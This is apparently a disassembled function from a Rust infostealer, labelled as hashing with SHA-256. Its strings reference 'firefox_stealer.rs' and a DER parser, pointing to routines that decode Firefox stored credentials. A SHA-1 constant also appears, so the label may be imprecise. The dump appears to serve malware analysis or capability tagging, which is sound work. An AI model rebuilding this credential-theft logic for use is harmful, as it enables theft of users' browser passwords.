Function at 0x1401331db
Capabilities:
Hash data using sha256

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xeb8
movaps xmmword [rsp + 0xea0], xmm9
movaps xmmword [rsp + 0xe90], xmm8
movaps xmmword [rsp + 0xe80], xmm7
movaps xmmword [rsp + 0xe70], xmm6
mov r15, r9
mov rbx, rcx
lea rsi, [rsp + 0xaa0]
mov rcx, rsi
call fcn.14004d191
cmp qword [rsi], 0
je 0x14013326d
movups xmm0, xmmword [rsp + 0xaa8]
mov rax, qword [rsp + 0xab8]
movups xmm1, xmmword [rsp + 0xac0]
movups xmmword [rsp + 0x2a8], xmm0
mov qword [rsp + 0x2b8], rax
movups xmmword [rsp + 0x2c0], xmm1
mov qword [rsp + 0x2a0], 2
jmp 0x1401333a3
mov qword [rsp + 0x50], r15
mov rdi, qword [rsp + 0xaa8]
mov rsi, qword [rsp + 0xab0]
mov r14d, dword [rsp + 0xab8]
mov cl, byte [rsp + 0xabc]
mov r15b, byte [rsp + 0xabd]
mov r12, qword [rsp + 0xac0]
mov r13, qword [rsp + 0xac8]
call fcn.14004d252
cmp al, 4
je 0x14013539a
test rsi, rsi
je 0x14013332e
mov ebp, eax
mov qword [rsp + 0x58], rbx
movzx eax, byte [rdi]
mov ebx, eax
and ebx, 0x7f
dec rsi
inc rdi
test al, al
js 0x140133351
test r15b, r15b
lea rdx, [rsp + 0xaa0]
mov byte [rdx + 0x35], bpl
setne byte [rdx + 0x34]
mov dword [rdx + 0x30], r14d
and qword [rdx], 0
mov qword [rdx + 8], rbx
and qword [rdx + 0x10], 0
lea r8, [rsp + 0x660]
mov qword [r8 + 0x10], r12
mov qword [r8 + 0x18], r13
and qword [r8 + 8], 0
mov qword [r8], 1
lea r14, [rsp + 0x2a0]
mov rcx, r14
call fcn.14004d261
mov qword [r14 - 0x10], rdi
mov qword [r14 - 8], rsi
jmp 0x140133399
and qword [rsp + 0x2a8], 0
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2a0], 2
jmp 0x14013339e
test bl, bl
je 0x140133377
movzx edx, bl
cmp edx, 0x7f
jne 0x140133d86
mov qword [rsp + 0x2a8], 1
mov byte [rsp + 0x2b0], 2
jmp 0x14013338d
mov qword [rsp + 0x2a8], 1
mov word [rsp + 0x2b0], 0x10
mov qword [rsp + 0x2a0], 2
mov rbx, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
mov rax, qword [rsp + 0x2a0]
cmp rax, 2
jne 0x1401333de
mov r12, qword [rsp + 0x2a8]
mov r13, qword [rsp + 0x2b0]
mov r14, qword [rsp + 0x2b8]
mov r15, qword [rsp + 0x2c0]
mov rbp, qword [rsp + 0x2c8]
jmp 0x140133ff3
mov r13, qword [rsp + 0x290]
mov r14, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x2a8]
movups xmm0, xmmword [rsp + 0x2b0]
movups xmm1, xmmword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2d0]
mov qword [rsp + 0xa8], rcx
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm1
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xd0], rdx
test rax, rax
jne 0x14013345f
shr rcx, 0x20
je 0x14013345f
lea rcx, [rsp + 0xa0]
call fcn.14004cbdb
mov r13d, 2
mov r12d, 1
jmp 0x140133ff3
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rcx
cmp byte [rsp + 0x185], 0
je 0x1401335ab
lea rsi, [rsp + 0x290]
lea r9, [rsp + 0xa0]
mov rcx, rsi
mov rdx, r13
mov r8, r14
call fcn.1400641aa
mov r12, qword [rsi]
cmp r12, 3
jne 0x1401335de
mov qword [rsp + 0x50], r15
lea rsi, [rsp + 0x2c8]
mov rax, qword [rsi - 0x20]
mov qword [rsp + 0x78], rax
mov rax, qword [rsi - 0x18]
mov qword [rsp + 0x80], rax
lea rdi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, rdi
call fcn.14006402e
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movaps xmmword [rsi - 0x38], xmm0
movaps xmmword [rsi - 0x28], xmm1
movaps xmmword [rsi - 0x18], xmm2
mov rax, qword [rdi + 0x30]
mov qword [rsi - 8], rax
mov rdi, qword [rsi - 0x38]
mov r12, qword [rsi - 0x30]
mov r13, qword [rsi - 0x28]
mov r14, qword [rsi - 0x20]
mov r15, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
movaps xmm0, xmmword [rsi + 8]
movaps xmm1, xmmword [rsi + 0x18]
movaps xmm2, xmmword [rsi + 0x28]
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x120], xmm2
mov rax, qword [rsi - 8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsi]
mov qword [rsp + 0xf8], rax
cmp rdi, 2
mov r8, qword [rsp + 0x78]
mov r9, qword [rsp + 0x80]
jne 0x140133818
jmp 0x140133ff3
mov rdi, qword [rsp + 0x150]
mov r12, qword [rsp + 0x158]
test rdi, rdi
je 0x140133603
mov byte [rsp + 0x680], 8
mov qword [rsp + 0x688], r12
mov qword [rsp + 0x678], 1
jmp 0x14013361d
mov r13, qword [rsp + 0x298]
mov r14, qword [rsp + 0x2a0]
mov r15, qword [rsp + 0x2a8]
mov rbp, qword [rsp + 0x2b0]
jmp 0x140133fe6
cmp r12, r14
jbe 0x140133ebf
and qword [rsp + 0x678], 0
mov qword [rsp + 0x680], r12
mov qword [rsp + 0x670], 0x1d
cmp dword [rsp + 0x670], 0x1d
jne 0x140133744
mov r12, qword [rsp + 0x678]
cmp r12, 1
jne 0x140133e9a
cmp byte [rsp + 0x680], 5
jne 0x140133e9a
lea rsi, [rsp + 0x678]
lea rdi, [rsp + 0x290]
lea r9, [rsp + 0x150]
mov rcx, rdi
mov rdx, r13
mov r8, r14
call fcn.1400641aa
mov r12, qword [rdi]
cmp r12, 3
jne 0x140133fbe
mov qword [rsp + 0x50], r15
lea rdi, [rsp + 0x2c8]
mov rax, qword [rdi - 0x20]
mov qword [rsp + 0x78], rax
mov rax, qword [rdi - 0x18]
mov qword [rsp + 0x80], rax
lea r14, [rsp + 0x150]
mov rcx, rdi
mov rdx, r14
call fcn.14006402e
movaps xmm0, xmmword [r14]
movaps xmm1, xmmword [r14 + 0x10]
movaps xmm2, xmmword [r14 + 0x20]
movaps xmmword [rdi - 0x38], xmm0
movaps xmmword [rdi - 0x28], xmm1
movaps xmmword [rdi - 0x18], xmm2
mov rax, qword [r14 + 0x30]
mov qword [rdi - 8], rax
mov rcx, qword [rdi - 0x38]
mov r12, qword [rdi - 0x30]
mov r13, qword [rdi - 0x28]
mov r14, qword [rdi - 0x20]
mov r15, qword [rdi - 0x18]
mov rbp, qword [rdi - 0x10]
movaps xmm0, xmmword [rdi + 8]
movaps xmm1, xmmword [rdi + 0x18]
movaps xmm2, xmmword [rdi + 0x28]
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x120], xmm2
mov rax, qword [rdi - 8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rdi]
mov rdi, rcx
mov qword [rsp + 0xf8], rax
mov rcx, rsi
call fcn.140064104
jmp 0x14013358f
mov qword [rsp + 0x50], r15
lea rax, [rsp + 0x670]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rsp + 0x298], xmm0
movups xmmword [rsp + 0x2a8], xmm1
movups xmmword [rsp + 0x2b8], xmm2
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x2c8], rcx
mov r8, qword [rax + 0x38]
mov r9, qword [rax + 0x40]
mov r13, qword [rsp + 0x160]
mov r14, qword [rsp + 0x168]
mov r15, qword [rsp + 0x170]
mov rbp, qword [rsp + 0x178]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xf8], rax
movups xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x58], rbx
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0xa20]
mov qword [rcx + 0x60], rax
mov qword [rcx + 0x68], rdx
movups xmmword [rcx + 0x50], xmm2
movups xmmword [rcx + 0x40], xmm1
movups xmmword [rcx + 0x30], xmm0
mov qword [rcx + 0x70], r8
mov qword [rcx + 0x78], r9
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], r14
mov qword [rcx + 0x20], r15
mov qword [rcx + 0x28], rbp
mov qword [rcx], rdi
lea r8, str.src_firefox_firefox_stealer.rs
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov rcx, rax
xor edx, edx
call fcn.1400640aa
mov rcx, qword [rax + 0x38]
add rcx, 0xfffffffffffffffe
cmp rcx, 0x1b
mov edx, 0x1b
cmovb rdx, rcx
add rdx, 0xfffffffffffffff9
cmp rdx, 2
jae 0x1401353b4
mov rbx, qword [rsp + 0xf20]
add rax, 0x40
lea rcx, [rsp + 0x230]
mov rdx, rax
call fcn.14004c810
lea rax, [0x140442331]
lea rsi, [rsp + 0x290]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xdfe8f00816a3ef00
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f264
and dword [rsi + 0x10], 0
xorps xmm0, xmm0
movaps xmmword [rsi], xmm0
xor edx, edx
lea rcx, [0x140448058]
cmp rdx, 0x10
jae 0x140133937
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x290], r8
add rdx, 8
jmp 0x14013391b
mov edx, 0x10
cmp rdx, 0x13
ja 0x14013396d
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x5b000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x290], r8d
add rdx, 4
jmp 0x14013393c
mov al, byte [rax + 0x14]
xor al, 0xed
mov byte [rsp + 0x2a4], al
movaps xmm0, xmmword [rsp + 0x290]
lea r8, [rsp + 0xaa0]
movaps xmmword [r8], xmm0
mov rax, qword [rsp + 0x29d]
mov qword [r8 + 0xd], rax
mov rcx, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x240]
mov r9d, 0x15
call fcn.14027c069
test al, al
je 0x140133d79
lea r8, str.src_firefox_firefox_stealer.rs
lea rcx, [rsp + 0xa20]
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov rcx, rax
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov rcx, rax
xor edx, edx
call fcn.1400640aa
lea rsi, [rsp + 0xaa0]
mov rcx, rsi
mov rdx, rax
call fcn.140063fca
lea rdi, [rsp + 0x290]
mov rcx, rdi
mov rdx, rsi
call fcn.1401354b7
mov al, byte [rdi]
cmp al, 0x18
jne 0x140133e44
lea rsi, [rsp + 0x290]
mov r12, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea r8, str.src_firefox_firefox_stealer.rs
lea rcx, [rsp + 0xa20]
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov rcx, rax
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea rdi, [rsp + 0xaa0]
mov rcx, rdi
mov rdx, rax
call fcn.140063e03
mov rcx, rsi
mov rdx, rdi
call fcn.1401354e2
mov al, byte [rsi]
cmp al, 0x18
jne 0x140133f0f
lea rsi, [rsp + 0x290]
mov eax, dword [rsi + 4]
mov dword [rsp + 0x8c], eax
lea r8, str.src_firefox_firefox_stealer.rs
lea rcx, [rsp + 0xa20]
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov rcx, rax
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 2
mov rcx, rax
call fcn.1400640aa
lea rdi, [rsp + 0xaa0]
mov rcx, rdi
mov rdx, rax
call fcn.140063e03
mov rcx, rsi
mov rdx, rdi
call fcn.1401354e2
mov al, byte [rsi]
cmp al, 0x18
jne 0x140133f0f
lea rsi, [rsp + 0x290]
mov ebp, dword [rsi + 4]
lea r8, str.src_firefox_firefox_stealer.rs
lea rcx, [rsp + 0xa20]
mov edx, 1
call fcn.1400640aa
lea rdi, [rsp + 0xaa0]
mov rcx, rdi
mov rdx, rax
call fcn.140063fca
mov rcx, rsi
mov rdx, rdi
call fcn.1401354b7
mov al, byte [rsi]
cmp al, 0x18
jne 0x140133e44
mov qword [rsp + 0x210], r14
lea rsi, [rsp + 0x290]
mov r15, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea r8, str.src_firefox_firefox_stealer.rs
lea rcx, [rsp + 0xa20]
xor edx, edx
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea r8, str.src_firefox_firefox_stealer.rs
mov edx, 1
mov rcx, rax
call fcn.1400640aa
lea rdi, [rsp + 0xaa0]
mov rcx, rdi
mov rdx, rax
call fcn.140063fca
mov rcx, rsi
mov rdx, rdi
call fcn.1401354b7
mov al, byte [rsi]
cmp al, 0x18
jne 0x140133e44
cmp ebp, 0x20
jne 0x140133d79
mov qword [rsp + 0x208], r12
mov qword [rsp + 0x1e8], r15
mov qword [rsp + 0x90], r14
lea rax, [rsp + 0x10c]
xorps xmm0, xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xf8]
movups xmm0, xmmword [0x1404bd720]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], 0xc3d2e1f0
and dword [rcx + 0x54], 0
lea rdi, [rsp + 0x290]
and qword [rcx - 8], 0
mov rax, qword [rdi + 8]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0xf0]
lea r14, [rsp + 0xaa0]
mov qword [r14], rax
mov qword [rdi], rcx
lea r15, [0x1404bd858]
test rbx, rbx
je 0x1401343a4
cmp rbx, 0x40
mov r13d, 0x40
cmovb r13, rbx
mov r12, qword [rsp + 0x50]
lea rsi, [r12 + r13]
mov rbp, rbx
sub rbp, r13
cmp rbx, 0x40
jb 0x140133d38
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.14022fbb2
jmp 0x140133d6f
mov edx, 0x40
lea rcx, [rsp + 0x10c]
mov r8, r13
lea r9, [0x1404bd840]
call fcn.14022fbfc
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8, r12
mov r9, r13
call fcn.140230f3c
mov dword [rsp + 0x14c], r13d
mov qword [rsp + 0x50], rsi
mov rbx, rbp
jmp 0x140133cfc
mov rax, qword [rsp + 0x58]
mov byte [rax], 0x15
jmp 0x140133f6d
lea rbx, [rsp + 0xaa0]
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call fcn.14004d292
mov rax, qword [rbx]
cmp rax, 3
mov rbx, qword [rsp + 0x58]
jne 0x140133f91
mov rdi, qword [rsp + 0xaa8]
mov rsi, qword [rsp + 0xab0]
mov rdx, qword [rsp + 0xab8]
mov r8, qword [rsp + 0xac0]
lea rcx, [rsp + 0xa20]
call fcn.14004d2cd
lea rax, [rsp + 0xa20]
cmp byte [rax], 0x15
jne 0x140134040
mov rdx, qword [rsp + 0xa28]
lea r8, [rsp + 0xaa0]
mov qword [r8], 1
mov byte [r8 + 8], 2
lea rcx, [rsp + 0x660]
call fcn.14004d2fe
lea rax, [rsp + 0x660]
mov rax, qword [rax]
cmp rax, 3
jne 0x140134056
mov rbx, qword [rsp + 0x668]
lea rcx, [rsp + 0xa20]
call fcn.14006414c
jmp 0x1401332d4
mov ecx, dword [rsp + 0x291]
mov edx, dword [rsp + 0x294]
mov r8, qword [rsp + 0x58]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movups xmmword [r8 + 0x18], xmm1
movups xmmword [r8 + 0x28], xmm2
mov rcx, qword [rsp + 0x2c8]
mov qword [r8 + 0x38], rcx
mov byte [r8], al
movups xmmword [r8 + 8], xmm0
jmp 0x140133f6d
mov r13, qword [rsp + 0x680]
mov r14, qword [rsp + 0x688]
mov r15, qword [rsp + 0x690]
mov rbp, qword [rsp + 0x698]
jmp 0x140133fe6
mov rbp, rbx
mov esi, dword [rsp + 0x180]
mov bl, byte [rsp + 0x184]
lea eax, [rsi - 1]
cmp eax, 0x1d
ja case.0x140133eea.4
lea rcx, [0x1403a9610]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
test bl, bl
je case.0x140133eea.4
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x110
jmp 0x140134156
mov cl, byte [rsp + 0x293]
mov r8, qword [rsp + 0x58]
mov byte [r8 + 3], cl
movzx ecx, word [rsp + 0x291]
mov word [r8 + 1], cx
mov ecx, dword [rsp + 0x294]
movups xmm0, xmmword [rsp + 0x2a8]
movups xmmword [r8 + 0x18], xmm0
movups xmm0, xmmword [rsp + 0x2b8]
movups xmmword [r8 + 0x28], xmm0
mov rdx, qword [rsp + 0x2c8]
mov qword [r8 + 0x38], rdx
movups xmm0, xmmword [rsp + 0x298]
movups xmmword [r8 + 8], xmm0
mov byte [r8], al
mov dword [r8 + 4], ecx
mov rcx, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x238]
call fcn.14015e77d
lea rcx, [rsp + 0xa20]
call fcn.14013550b
jmp 0x14013400a
movups xmm0, xmmword [rsp + 0xaa8]
movups xmm1, xmmword [rsp + 0xab8]
mov qword [rsp + 0x2a8], rax
movups xmmword [rsp + 0x2b0], xmm0
movups xmmword [rsp + 0x2c0], xmm1
jmp 0x140133343
mov r13, qword [rsp + 0x298]
mov r14, qword [rsp + 0x2a0]
mov r15, qword [rsp + 0x2a8]
mov rbp, qword [rsp + 0x2b0]
mov rcx, rsi
call fcn.140064104
lea rcx, [rsp + 0x150]
call fcn.14004cbdb
mov byte [rbx], 0x13
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r15
mov qword [rbx + 0x28], rbp
movaps xmm6, xmmword [rsp + 0xe70]
movaps xmm7, xmmword [rsp + 0xe80]
movaps xmm8, xmmword [rsp + 0xe90]
movaps xmm9, xmmword [rsp + 0xea0]
add rsp, 0xeb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x2a8], 1
mov byte [rsp + 0x2b0], 2
jmp 0x14013408e
mov rcx, qword [rsp + 0x668]
movups xmm0, xmmword [rsp + 0x670]
movups xmmword [rsp + 0x2b8], xmm0
mov rdx, qword [rsp + 0x680]
mov qword [rsp + 0x2c8], rdx
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], rcx
mov qword [rsp + 0x2a0], 2
lea rcx, [rsp + 0xa20]
call fcn.14006414c
jmp 0x14013339e
test r12, r12
je 0x1401340b9
cmp byte [r12 + r13 - 1], 0x5a
je case.0x140133eea.4
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x310
jmp 0x140134156
cmp r12, 1
jne 0x140134136
mov al, byte [r13]
dec al
cmp al, 0xfe
jae 0x14013416a
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x610
jmp 0x140134156
lea r9, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_der_parser_8.2.0_src_der_parser.rs
mov rcx, r13
mov rdx, r14
mov r8, r12
call fcn.14006adc3
test rdx, rdx
je 0x140135237
cmp rdx, 1
je case.0x140133eea.4
cmp byte [rax], 0
je 0x14013527f
mov rax, r12
shr rax, 0x20
je 0x14013416a
mov qword [rsp + 0x678], 1
mov qword [rsp + 0x680], 2
mov qword [rsp + 0x688], r14
mov qword [rsp + 0x670], 0x1d
mov rbx, rbp
jmp 0x140133629
lea r9, [rsp + 0x248]
mov byte [r9 + 0x35], 0
mov byte [r9 + 0x34], bl
mov dword [r9 + 0x30], esi
and qword [r9], 0
mov qword [r9 + 8], r12
and qword [r9 + 0x10], 0
lea rsi, [rsp + 0x290]
mov rcx, rsi
mov rdx, r13
mov r8, r14
call fcn.1400641aa
mov rax, qword [rsi]
cmp rax, 3
jne 0x14013424f
lea rsi, [rsp + 0x290]
mov rbx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsi + 0x18]
mov rax, qword [rsp + 0x278]
lea rdx, [rsp + 0xa20]
mov qword [rdx + 0x30], rax
movups xmm1, xmmword [rsp + 0x248]
movups xmm2, xmmword [rsp + 0x258]
movups xmm3, xmmword [rsp + 0x268]
movaps xmmword [rdx + 0x20], xmm3
movaps xmmword [rdx + 0x10], xmm2
movaps xmmword [rdx], xmm1
movups xmmword [rdx + 0x38], xmm0
mov r8d, 0x32
mov rcx, rsi
call fcn.14006203d
mov rdx, qword [rsi]
cmp rdx, 2
jne 0x140134315
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmmword [rsp + 0x680], xmm0
movups xmmword [rsp + 0x690], xmm1
mov qword [rsp + 0x678], 1
jmp 0x140134156
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
mov qword [rsp + 0x678], rax
movups xmmword [rsp + 0x680], xmm0
movups xmmword [rsp + 0x690], xmm1
mov qword [rsp + 0x670], 0x1d
lea rcx, [rsp + 0x248]
jmp 0x14013439a
test bl, bl
jne 0x140133ef4
test r14, r14
mov rbx, rbp
je 0x140135265
movzx eax, byte [r13]
cmp rax, 7
jbe 0x1401352a6
mov ecx, 0x17
call fcn.140289020
movabs rcx, 0x7374696220646573
mov qword [rax + 0xf], rcx
movups xmm0, xmmword [str.More_than_7_unused_bits]
movups xmmword [rax], xmm0
mov qword [rsp + 0x678], 1
mov byte [rsp + 0x680], 3
mov dword [rsp + 0x684], 3
mov qword [rsp + 0x688], rax
mov qword [rsp + 0x690], rdx
mov qword [rsp + 0x698], 0x17
jmp 0x14013361d
lea rsi, [rsp + 0x2b8]
movups xmm0, xmmword [rsi - 0x20]
movups xmm1, xmmword [rsi - 0x10]
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1a0], xmm0
lea rax, [rsp + 0xac8]
mov ecx, 0xb
mov r8, rdi
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
mov qword [rax - 0x28], rdx
lea rsi, [rsp + 0xad8]
lea rax, [rsp + 0x670]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rdi, r8
mov qword [rax - 0x10], rbx
mov rcx, qword [rsp + 0x50]
mov qword [rax - 8], rcx
lea rcx, [rsp + 0xaa0]
call fcn.140005bbc
jmp 0x140134162
mov ecx, 0x20
mov dl, 1
call fcn.1401674a3
mov r13, rax
mov rbx, rdx
lea rcx, [rsp + 0xf8]
mov eax, dword [rcx + 0x10]
mov dword [rsp + 0xab0], eax
movups xmm0, xmmword [rcx]
mov edi, dword [rsp + 0x14c]
mov rax, qword [rsp + 0xf0]
add rax, rdi
shl rax, 3
bswap rax
movaps xmmword [rsp + 0xaa0], xmm0
mov qword [rsp + 0x660], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x290]
movaps xmmword [rcx + 0x70], xmm0
movaps xmmword [rcx + 0x60], xmm0
movaps xmmword [rcx + 0x50], xmm0
movaps xmmword [rcx + 0x40], xmm0
movaps xmmword [rcx + 0x30], xmm0
movaps xmmword [rcx + 0x20], xmm0
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
lea r9, [0x1404bd738]
mov edx, pe_nt_image_headers64
mov r8, rdi
call fcn.14022fbfc
mov r14, rax
mov r15, rdx
lea r9, [0x1404bd750]
mov edx, 0x40
lea rcx, [rsp + 0x10c]
mov r8, rdi
call fcn.14008b61a
mov r9, rdx
lea rcx, [0x1404bd768]
mov qword [rsp + 0x20], rcx
mov rcx, r14
mov rdx, r15
mov r8, rax
call fcn.140230f3c
cmp rdi, 0x7f
ja 0x140135389
mov byte [rsp + rdi + 0x290], pe_nt_image_headers64
cmp edi, 0x38
mov rdi, qword [rsp + 0x58]
jae 0x1401344e8
lea r9, [0x1404bd7f8]
lea rsi, [rsp + 0x290]
mov edx, 0x38
mov r8d, 0x40
mov rcx, rsi
call fcn.140230e98
lea rcx, [0x1404bd810]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x660]
mov r9d, 8
mov rcx, rax
call fcn.140230f3c
lea r9, [0x1404bd828]
mov r8d, 0x40
mov rcx, rsi
xor edx, edx
jmp 0x140134577
lea r9, [0x1404bd798]
lea rsi, [rsp + 0x290]
mov edx, 0x78
mov r8d, pe_nt_image_headers64
mov rcx, rsi
call fcn.140230e98
lea rcx, [0x1404bd7b0]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x660]
mov r9d, 8
mov rcx, rax
call fcn.140230f3c
lea r9, [0x1404bd7c8]
mov r8d, 0x40
mov rcx, rsi
xor edx, edx
call fcn.140230ebe
cmp rdx, 0x40
jne 0x1401353e6
lea rcx, [rsp + 0xaa0]
mov rdx, rax
call fcn.14022fc21
lea r9, [0x1404bd7e0]
lea rcx, [rsp + 0x290]
mov edx, 0x40
mov r8d, pe_nt_image_headers64
call fcn.140230ebe
cmp rdx, 0x40
jne 0x1401353e6
lea rsi, [rsp + 0xaa0]
mov rcx, rsi
mov rdx, rax
call fcn.14022fc21
mov eax, dword [rsi]
mov ecx, eax
shr ecx, 0x18
mov byte [rsp + 0x64], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rsp + 0x65], cl
mov byte [rsp + 0x66], ah
mov byte [rsp + 0x67], al
mov eax, dword [rsi + 4]
mov ecx, eax
shr ecx, 0x18
mov byte [rsp + 0x68], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rsp + 0x69], cl
mov byte [rsp + 0x6a], ah
mov byte [rsp + 0x6b], al
mov eax, dword [rsi + 8]
mov ecx, eax
shr ecx, 0x18
mov byte [rsp + 0x6c], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rsp + 0x6d], cl
mov byte [rsp + 0x6e], ah
mov byte [rsp + 0x6f], al
mov eax, dword [rsi + 0xc]
mov ecx, eax
shr ecx, 0x18
mov byte [rsp + 0x70], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rsp + 0x71], cl
mov byte [rsp + 0x72], ah
mov byte [rsp + 0x73], al
mov eax, dword [rsi + 0x10]
mov ecx, eax
shr ecx, 0x18
mov byte [rsp + 0x74], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rsp + 0x75], cl
mov byte [rsp + 0x76], ah
mov byte [rsp + 0x77], al
cmp dword [rsp + 0x8c], 0
je 0x140135252
lea r15, [rsp + 0x298]
movups xmm6, xmmword [0x1404ba900]
movups xmmword [r15 + 0x30], xmm6
movups xmm7, xmmword [0x1404ba8f0]
movups xmmword [r15 + 0x20], xmm7
movups xmm8, xmmword [0x1404ba8e0]
movups xmmword [r15 + 0x10], xmm8
movups xmm9, xmmword [0x1404ba8d0]
movups xmmword [r15], xmm9
lea rdi, [0x1404ba8a0]
call fcn.14022315d
lea rsi, [rsp + 0x2e0]
movups xmmword [rsi + 0x38], xmm6
movups xmmword [rsi + 0x28], xmm7
movups xmmword [rsi + 0x18], xmm8
movups xmmword [rsi + 8], xmm9
call fcn.14022315d
